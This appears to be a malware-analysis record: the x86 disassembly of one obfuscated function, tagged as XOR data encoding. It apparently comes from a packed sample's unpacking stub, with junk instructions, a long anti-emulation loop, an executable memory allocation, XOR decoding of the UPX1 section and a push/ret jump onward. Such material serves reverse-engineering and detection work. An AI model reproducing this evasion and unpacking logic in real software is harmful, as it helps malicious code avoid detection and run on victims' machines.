Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5e6d7a35
mov edx, edi
or edi, edi
add edi, 0x70cea5a2
popal
add edx, edx
add edi, 0x615679d8
mov ecx, 0
mov esi, edi
not edx
or ebx, ebx
add ebx, edx
mov eax, esi
or ebx, edx
or edx, ebx
mov edi, eax
add edx, edx
or edx, edx
inc ecx
or ebx, edx
mov edx, 0x8a7ea012
sub edx, 0x1832b78b
cmp ecx, 0x100f7f2
jne 0xa789ca
dec edx
mov ebx, 0xac9a395c
dec edi
sub edi, 0x87998f5a
and edx, edi
mov edx, 0xa78796
inc ebx
mov esi, 0xc759ce95
or ebx, ebx
mov ecx, 0xa7898a
mov edi, 0xdf2a51ee
sub edi, 0x18095247
mov eax, dword [edx]
add ebx, 1
add esi, 0x2b6e5e2b
and eax, 0xff
add esi, 0xd0a7448
mov ebx, esi
mov edi, 0xaad1c8b7
xor dword [ecx], eax
dec edi
add edi, edi
inc ecx
mov edi, esi
add ebx, esi
add edi, 0x6b413e9
inc edx
sub ebx, edi
add ebx, ebx
cmp ecx, entry0
jl 0xa78a24
inc edi
add edi, edi
or ebx, esi
not edi
mov edi, 0x17f3cbac
add edi, 0x60c0a80f
mov edi, edx
or edi, edx
and ebx, ecx
mov esi, 0xa7898e
add ecx, 0x6dda7acc
add edx, 0xcf1a59c1
add edi, edi
mov esi, dword [esi]
and edi, edi
add ebx, 0x9a696999
mov edi, 0x317e1fda
mov esi, dword [esi]
sub edi, ecx
inc ebx
add ecx, 0x4f4e3051
sub esp, 4
mov dword [esp], esi
or edi, edx
not edx
mov esi, 0xa7898a
and edi, ecx
sub ebx, 0x882665b4
sub edx, edi
mov esi, dword [esi]
and ecx, ecx
or edi, edx
or ecx, ecx
mov esi, dword [esi]
and edx, ebx
not ebx
push 0xa78992
and ecx, edi
inc edi
sub edx, 0x5e556699
call esi
sub ebx, edi
and edx, edi
add edx, 0x38d9f764
pop esi
mov edx, 0x6b68016b
or ecx, ecx
push 0xa7899f
not edi
add ecx, ebx
mov ecx, edx
push eax
dec edi
not ebx
call esi
sub edx, 0x19c790aa
or ecx, edi
sub esp, 4
mov dword [esp], 0x40
not ebx
sub edi, 0x1d581917
sub edx, ecx
sub esp, 4
mov dword [esp], 0x3000
sub ecx, edx
add edx, edx
sub esp, 4
mov dword [esp], 0x2000011b
add ecx, 0xbfca2348
sub edx, 0xfd0ac8e3
push 0
mov edi, 0xff0aaefd
add edi, ebx
call eax
and edi, ecx
not ebx
add eax, 0x200000b0
sub edx, ebx
sub edi, 1
mov esi, 0xd4d906b4
mov ecx, 0x9d97b633
sub edx, 0x641f276b
mov dword [eax], esi
sub ecx, 1
mov ebx, 0x21b85943
add edi, ecx
mov esi, dword [eax]
mov ebx, ecx
inc edi
cmp esi, 0xd4d906b4
je 0xa78b98
mov ebx, 0
mov dword [ebx], ecx
sub edi, ebx
sub ebx, 1
add edx, edi
and ebx, edi
dec edx
add edi, 0x6e827afa
sub edi, 0xfbd64ec1
sub edx, 0x60e15d02
mov eax, section.UPX1
and edx, edx
or edx, edi
mov esi, 0xa78795
add edi, edx
sub edi, edx
add edx, 0x835acde2
mov ebx, 0
add edx, edx
or edi, edi
sub edi, edx
mov ecx, 0xa78796
sub edx, edi
sub edi, edx
add edi, 0xd7071cf0
lea ecx, [ebx + ecx]
or edi, edi
sub edx, edi
and edx, edx
mov ecx, dword [ecx]
or edi, edi
not edx
and ecx, 0xff
dec edx
inc edx
inc ebx
add edi, 0x68971894
add edi, edx
cmp ebx, 0x1f4
jne 0xa78c16
mov ebx, 0
not edx
dec edx
add edi, 0xf19932b6
mov edi, edx
and edi, edi
mov edx, 0x9ea4661a
xor dword [eax], ecx
inc edi
sub edx, edi
add eax, 2
sub edi, edx
or edi, edi
mov edx, edi
cmp eax, esi
jl 0xa78bda
inc edx
and edi, edx
mov edi, 0x38157a46
and edi, edi
add edx, edx
mov eax, section.UPX1
or esi, esi
and esi, esi
mov edi, section.UPX1
sub edx, esi
sub esi, 0x1151e3b3
mov edx, esi
mov ebx, 0xa78795
inc edx
not edx
or edx, esi
mov ecx, 0
or esi, esi
not esi
sub edx, esi
mov cl, byte [edi]
mov edx, esi
mov edx, esi
add edx, 1
mov byte [eax], cl
sub edx, esi
add esi, 0x275afa6b
add eax, 1
inc edx
add edx, edx
add edi, 2
add esi, 1
and edx, edx
sub edx, 0x4513d186
cmp edi, ebx
jle 0xa78c7a
add edx, 0x1bf6f661
sub esi, edx
and edi, edi
add edi, 0x4bde9185
and edx, edx
push 0x8dc6a0
sub edx, edi
mov edi, 0x11d06f2f
ret